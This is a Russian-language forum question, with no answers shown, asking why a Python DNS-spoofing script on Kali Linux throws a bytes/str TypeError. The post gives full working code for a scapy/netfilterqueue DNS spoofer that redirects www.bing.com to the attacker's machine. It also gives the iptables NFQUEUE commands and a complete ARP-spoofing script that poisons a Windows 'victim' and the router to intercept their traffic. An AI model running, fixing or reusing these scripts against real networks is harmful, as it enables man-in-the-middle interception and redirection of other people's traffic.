Через терминал Kali Linux вбивают вот это python dns_spoof.py

код программы

#!/usr/binenv python import netfilterqueue import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if "www.bing.com" in qname:
            print("[+] Spoofing target")
            answer = scapy.DNSRR(rrname = qname, rdata = "здесь ip компьютера с kali")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].chksum
            del scapy_packet[scapy.UDP].len

            packet.set_payload(str(scapy_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

ошибка которую выдает

Traceback (most recent call last):
  File "/home/kali/PycharmProjects/dns_spoof/dns_spoof.py", line 28, in <module>
    queue.run()
  File "netfilterqueue/_impl.pyx", line 326, in netfilterqueue._impl.NetfilterQueue.run
  File "netfilterqueue/_impl.pyx", line 47, in netfilterqueue._impl.global_callback
  File "/home/kali/PycharmProjects/dns_spoof/dns_spoof.py", line 10, in process_packet
    if "www.bing.com" in qname:
TypeError: a bytes-like object is required, not 'str'

параллельно в другом окне терминала по порядку iptables -I OUTPUT -j NFQUEUE --queue-num 0 iptables -I INPUT -j NFQUEUE --queue-num 0 ping -c 1 www.bing.com

и вот это так же iptables -I FORWARD -j NFQUEUE --queue-num 0 ping -c 1 www.bing.com отдельно пробовал

из папки arp_spoof c arp_spoof.py с кодом

#!/usr/binenv python

import scapy.all as scapy
import time
import sys

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]

    return(answered_list[0][1].hwsrc)

    clients_list=[]
    # for element in answered_list:
    #     clients_dict ={"ip": element[1].psrc, "mac": element[1].hwsrc}
    #     clients_list.append(clients_dict)
    #     print(element[1].psrc + "\t\t" + element[1].hwsrc)
    # return clients_list

def spoof(target_ip, spoof_ip):
    target_mac=get_mac(target_ip)
    packet= scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, sourse_ip):
    destination_mac=get_mac(destination_ip)
    sourse_mac=get_mac(sourse_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=sourse_ip, hwsrc=sourse_mac)
    scapy.send(packet, count=4,  verbose=False)

target_ip="ip жертвы на Windows"
getway_ip="ip роутера"

try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, getway_ip)
        spoof(getway_ip, target_ip)
        sent_packets_count =sent_packets_count +2
        print("\r[+] Отправлено пакетов:" + str(sent_packets_count),end="")
        sys.stdout.flush()
        time.sleep(1)
except IndexError or KeyboardInterrupt:
    print(" \nНе сработало. До Свидания")
    restore(target_ip, getway_ip)
    restore(getway_ip, target_ip)

arp_spoof.py работает сам отдельно и ловит количество пакетов, если что.

все взято из видео курса с правкой на мои ip

надеюсь код не попалыл


Ответы (0 шт):